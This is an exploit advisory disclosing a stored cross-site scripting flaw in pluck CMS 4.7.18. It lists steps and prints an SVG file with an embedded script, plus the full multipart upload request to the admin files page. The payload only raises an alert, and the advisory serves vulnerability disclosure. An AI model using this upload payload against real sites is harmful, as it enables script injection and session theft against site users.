Pluck CMS 4.7.18 Cross Site Scripting

`Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)  
Application: pluck  
Version: 4.7.18  
Bugs: XSS  
Technology: PHP  
Vendor URL: https://github.com/pluck-cms/pluck  
Software Link: https://github.com/pluck-cms/pluck  
Date of found: 01-05-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
  
1. create .svg file.  
2. svg file content:  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
  
3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files)  
  
poc request  
  
  
POST /pluck-4.7.18/admin.php?action=files HTTP/1.1  
Host: localhost  
Content-Length: 672  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmI  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/pluck-4.7.18/admin.php?action=files  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8de  
Connection: close  
  
------WebKitFormBoundaryJMTiFxESCx7aNqmI  
Content-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
------WebKitFormBoundaryJMTiFxESCx7aNqmI  
Content-Disposition: form-data; name="submit"  
  
Upload  
------WebKitFormBoundaryJMTiFxESCx7aNqmI--  
  
  
  
4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg  
  
`